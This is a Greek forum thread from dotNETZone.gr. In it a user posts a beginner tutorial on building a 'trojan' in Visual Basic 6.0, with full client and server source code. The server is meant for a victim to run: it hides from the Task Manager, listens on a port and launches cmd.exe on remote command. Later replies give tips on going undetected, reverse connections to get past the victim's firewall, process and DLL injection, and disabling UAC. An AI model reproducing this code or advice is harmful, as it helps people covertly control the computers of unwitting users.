Καλώς ορίσατε στο dotNETZone.gr - Σύνδεση | Εγγραφή | Βοήθεια
σε

 

Αρχική σελίδα Ιστολόγια Συζητήσεις Εκθέσεις Φωτογραφιών Αρχειοθήκες

Προγραμματίζοντας ένα Trojan στο Visual Basic 6.0

Îåêßíçóå áðü ôï ìÝëïò Secured. Τελευταία δημοσίευση από το μέλος ntaryl στις 01-03-2010, 20:15. Υπάρχουν 4 απαντήσεις.
Ταξινόμηση Δημοσιεύσεων: Προηγούμενο Επόμενο
  •  15-02-2010, 17:34 57143

    Προγραμματίζοντας ένα Trojan στο Visual Basic 6.0

    Tutorial Visual Basic 6.0 Trojan
    Author: Atomix

    Αυτό το Tutorial απευθύνεται σε "πολύ" αρχάριους χρήστες όσον αφορά το προγραμματισμό σε Visual Basic!

    Ανάλυση θέματος από το "0" (αρχή) με προσοχή!

    Θα σας δείξω πως μπορείτε να προγραμματίσετε ένα απλό trojan στο Visual Basic 6.0. Θα δούμε τις λειτουργίες του trojan.
    Θα σας το παρουσιάσω με παραδείγματα και εικόνες.

    Client:

    Δημιουργούμε ένα νέο Project 'Standard EXE'.


    Θα εισάγουμε ένα 'TextBox', για την IP, και ένα 'CommandButton' για την σύνδεση με το server.


    Επίσης θα βάλουμε και άλλα δύο "κουμπιά" (CommandButtons), το ένα να ανοίγει το 'notepad' και το άλλο για το 'cmd'.


    Κάνετε διπλό κλικ στο Form1 και βάλτε το παρακάτω script:


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
     
    Private Sub Command1_Click()
    Winsock1.RemoteHost = Text1.Text ' Να συνδεθεί στην IP που βρίσκετε στο Text1.Text
    Winsock1.RemotePort = 1234 ' Να χρησιμοποιήσει το Port 1234 (πρέπει να είναι το ίδιο με το server)
    Winsock1.Connect ' Να συνδεθεί
    End Sub ' Επόμενο...
    
    Private Sub Command2_Click()
    Winsock1.SendData "2" 'Το Winsock να στείλει την πληροφορία "2" στο server κάνοντας κλικ στο 'Command2'
    End Sub
    
    Private Sub Command3_Click()
    Winsock1.SendData "3" ' Το Winsock να στείλει την πληροφορία "3" στο server κάνοντας κλικ στο 'Command3'
    End Sub
    
    Private Sub Winsock1_Connect() ' Αφού το Winsock συνδεθεί με επιτυχία
    Form1.Caption = "Connected to IP" & Text1.Text ' Στο Form1 να εμφανιστεί στο πάνω μέρος "Connected to IP" και την IP.
    End Sub


    Όπως βλέπετε, χρησιμοποιούμε Winsock για την σύνδεση μας με το server. Κάντε δεξί κλικ κάτω από το 'Tools Box' μετά 'Components' και ψάξτε το 'Microsoft Winsock Control 6.0'. Έπειτα προσθέστε ένα Winsock1 στο Form μας.(Δες εικόνες)




    Αυτά είναι για το Client μας, δηλαδή από εκεί που θα συνδεθούμε εμείς. Τώρα για να το κάνουμε πρόγραμμα (*exe), πηγαίνουμε πάνω στο 'File' και μετά 'Make Project1.exe'.


    Server:

    Τώρα ας φτιάξουμε και το server το οποίο είναι για το θύμα και πρέπει να το εκτελέσει για να μπορούμε να συνδεθούμε εμείς απο το Client μετά...

    Ανοίγουμε ένα νέο Project 'Standard EXE'


    Εδώ απλώς θα βάλουμε ένα ακόμα Winsock1 , κάνοντας δεξί κλικ στο 'Tools Box' μετά 'Components' και ψάξτε το 'Microsoft Winsock Control 6.0'. Έπειτα προσθέστε ένα Winsock1 στο Form μας.


    Κάντε διπλό κλικ στο Form και βάλτε το ακόλουθο script:


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
     
    Private Sub Form_Load()
    App.TaskVisible = False ' Να μην είναι εμφανίσημο στο 'TaskManager'  
    Me.Hide ' Κρυμμένο
    If App.PrevInstance = True Then
    Unload Me
    End If
    Winsock1.LocalPort = 1234 ' Να χρησιμοποιήσει το Port 1234
    Winsock1.Listen ' To Winsock1 να περιμένει εντολές απο το Client
    End Sub
    
    Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
    If Winsock1.State <> sckClosed Then Winsock1.Close
    Winsock1.Accept requestID 'To Winsock να δεχτεί την σύνδεση
    End Sub
    Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    Dim data As String
    Winsock1.GetData data 'Το Winsock να πάρει τις πληροφορίες απο το Client
    
    If data = "2" Then ' Αν στάλθηκε η πληροφορία "2" τότε...
    On Error Resume Next ' Αν υπάρξει κάποιο σφάλμα τότε να συνεχίσει στο επόμενο και να μην σταματήσει το πρόγραμμα
    Shell ("C:\WINDOWS\system32\cmd.exe") ' Αν πληροφορία "2" τότε εκτέλεσε "Shell ("C:\WINDOWS\system32\cmd.exe")"
    End If
    
    If data = "3" Then ' Αν στάλθηκε η πληροφορία "3" τότε...
    On Error Resume Next '  Αν υπάρξει κάποιο σφάλμα τότε να συνεχίσει στο επόμενο και να μην σταματήσει το πρόγραμμα
    Shell ("C:\WINDOWS\system32\notepad.exe") Εκτέλεσε το
    End If
    
    End Sub


    Μετά το κάνετε αρχείο *exe απο το 'File' - 'Make Project1.exe' (μπορείτε να αλλάξετε το όνομα του αρχείου σε ότι θέλετε, πχ server.exe).

    Αυτό ήταν η σύνδεση ενός trojan client με το server. (To γνωστό Trojan που φοβούνται όλοι...χαχα). Τώρα ανοίγετε το Client και στο TextBox1 βάζετε την IP του θύματος. (Αφού εκτελέσει το server.exe). Μπορείτε επίσης να το δοκιμάσετε στο localhost, εκτελείτε το server στο σύστημα σας (δεν υπάρχει κίνδυνος) και μετά από το Client βάζετε την IP 127.0.0.1 (το localhost) και δοκιμάζετε να δείτε αν δουλεύει το Trojan σας.
  •  15-02-2010, 23:30 57146 σε απάντηση της 57143

    Απ: Προγραμματίζοντας ένα Trojan στο Visual Basic 6.0

    Φοβάμαι ότι ο κώδικας που έχεις γράψει δεν είναι και τόσο πολύ trojan για τρεις λόγους.
    Καταρχήν ένα βασικό χαρακτηριστικό ενός trojan είναι ο τρόπος εγκατάστασής στο στον υπολογιστή του θύματος. Δεν περιγράφεις καθόλου πως θα γίνει αυτό.
    Κατά δεύτερον ο κώδικάς σου απαιτεί vb6 runtime για να τρέξει, το οποίο δεν είναι προεγκατεστημένο στις τελευταίες εκδόσεις των windows (δεν θυμάμαι σε ποιες ακριβώς)
    Τέλος ο client κώδικας θα μπλοκαριστεί από οποιοδήποτε firewall, συμπεριλαμβανομένου και του Windows Firewall το οποίο λειτουργεί by default στους υπολογιστές ακόμα και των πιο άπειρων χρηστών, καθώς οι εισερχόμενες συνδέσεις (Winsock1.Listen) είναι από τα πρώτα πράγματα που μπλοκάρει ένα firewall.
    Ο κώδικάς όμως είναι ένα καλό προκαταρκτικό άρθρο για σύνδεση δυο processes με τη χρήση winsock.

    Dimitris Papadimitriou
    Software Development Professional
    dotNETZone.gr News

    Οι απαντήσεις παρέχονται για συγκεκριμένες ερωτήσεις και χωρίς καμιά εγγύηση. Διαβάστε επίσης τους όρους χρήσης.
  •  16-02-2010, 15:25 57157 σε απάντηση της 57146

    Απ: Προγραμματίζοντας ένα Trojan στο Visual Basic 6.0

    Λοιπόν, καταρχάς υπάρχουν και trojan που δεν κάνουν εγκατάσταση στον υπολογιστή του θύματος. Όσο για το firewall φυσικό να μπλοκάρει την σύνδεση του Winsock. Το θέμα είναι όμως, πώς έδειξα πως φτιάχνουμε μία σύνδεση με Winsock ανάμεσα στο Client και το Server. Τώρα ο καθένας θα χρησιμοποιήσει την φαντασία του και θα διαχειριστεί τον κώδικα όπως θέλει, έτσι ώστε να γίνετε εγκατάσταση, να είναι fud κτλ.

    Ευχαριστώ πάντως, θα το έχω υπόψη μου και ίσως ανανεώσω το Tutorial!
  •  16-02-2010, 15:48 57159 σε απάντηση της 57157

    Απ: Προγραμματίζοντας ένα Trojan στο Visual Basic 6.0

    Πολύ ωραία. Να διευκρινίσω μόνο ότι όταν λέω εγκατάσταση εννοώ γενικά τον τρόπο με το οποίο θα βρεθεί το εκτελέσιμο αρχείο στον υπολογιστή του χρήστη/θύματος και θα εκτελεστεί. Όχι απαραίτητα κάποια συγκεκριμένη εγκατάσταση.
    Dimitris Papadimitriou
    Software Development Professional
    dotNETZone.gr News

    Οι απαντήσεις παρέχονται για συγκεκριμένες ερωτήσεις και χωρίς καμιά εγγύηση. Διαβάστε επίσης τους όρους χρήσης.
  •  01-03-2010, 20:15 57388 σε απάντηση της 57159

    Απ: Προγραμματίζοντας ένα Trojan στο Visual Basic 6.0

    Συνημμένα: reverse how to.rar

    καλησπερα  

    Φιλε  μου  αρκετα  καλο  tutorial (για  καποιον  αρχαριο να καταλαβει  το πως συνδεεται μια  εφαρμογη (client -Server)και  πως μεταφερονται τα δεδομενα.

    Παιρνω το θαρρος να σου δωσω μερικα tips  ετσι ωστε να εμπλουτισεις το  επομενο  How - to   .

    Eπισυναπτω  ενα παραδειγματακι  στο οποιο βλεπουμε  πως επιτυγχανεται μια  reverse connection  .Αν δεν εχουμε Reverse Connection  τοτε δεν μπορουμε να περασουμε  απο το firewall του  θυματος  αφου  δεν  αφηνει  συνδεσεις  απο  εξω  προς τα  μεσα  .Αλλα μονο απο μεσα προς τα εξω   .

    Απο εκει και περα  Δεν χρησιμοποιουμε ποτε το winsock control   γιατι αυτο σημαινει  οτι μπορει να μην υπαρχει στο μηχανημα  θυμα αλλα και  αν αποφασισουμε να το κανουμε  add σαν resource  τοτε  αυτοματα  αυξανουμε το μεγεθος  του Server  .Εναλακτικη λυση  ειναι να  προσπαθησουμε να φτιαξουμε  ενα socket εμεις  (socket api )αλλα και να χρησιμοποιησουμε  το  CSocket  .

    Σε θεμα ασφαλειας  χρησιμοποιουμε  process injection(fwb ++) αλλα ακομα  και  την  παλια  Dll injection .Φυσικα αναλογα  αν η εκδοση  μας τρεχει σε Vista τοτε απενεργοποιουμε το UAC και δουλευουμε ανενοχλητοι   .

    Περιμενω τοι επομενο  How  to   





    Rookie learn to fly U are my Inspiration...
    Who said Multithreading is impossible
    Try it First and after Deside if is Possible
Προβολή Τροφοδοσίας RSS με μορφή XML
Με χρήση του Community Server (Commercial Edition), από την Telligent Systems